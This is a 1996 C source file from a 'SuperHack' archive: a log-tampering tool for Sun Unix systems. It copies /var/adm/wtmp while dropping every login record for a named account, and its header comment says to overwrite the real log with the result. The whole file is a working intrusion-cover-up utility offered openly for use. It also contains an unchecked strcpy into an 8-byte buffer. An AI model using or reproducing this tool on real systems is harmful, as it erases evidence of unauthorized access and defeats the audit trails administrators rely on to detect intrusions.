home *** CD-ROM | disk | FTP | other *** search
/ SuperHack / SuperHack CD.bin / Hack / UNIX / WTMPED.ZIP / WTMPED.C
C/C++ Source or Header  |  1996-05-19  |  796b  |  31 lines

  1. /*
  2.    /var/adm/wtmp editor for Sun's
  3.    Written by gab, this will make a file wtmp.tmp then just copy
  4.    it over /var/adm/wtmp and chmod 644 it
  5. */
  6.  
  7. #include <stdio.h>
  8. #include <utmp.h>
  9. #include <fcntl.h>
  10. main(argc,argv)
  11. int argc;
  12. char *argv[];
  13. {
  14. int fp=-1,fd=-1;
  15. struct utmp ut;
  16. int i=0;
  17. char name[8];
  18. if (argc!=2) { fprintf(stderr,"usage: %s accountname\n\r",argv[0]);  exit(2);}
  19. strcpy(name,argv[1]);
  20. if (fp=open("/var/adm/wtmp",O_RDONLY)) {
  21.         fd=open("wtmp.tmp",O_WRONLY|O_CREAT);
  22.         while (read(fp,&ut,sizeof(struct utmp))==sizeof(struct utmp)) {
  23.                 if (strncmp(ut.ut_name,name,strlen(name))) write(fd,&ut,sizeof(struct utmp));
  24.                 i++;
  25.         }
  26.         close(fp);
  27.         close(fd);
  28.         }
  29. printf("Total: %d\n\r", i);
  30. }
  31.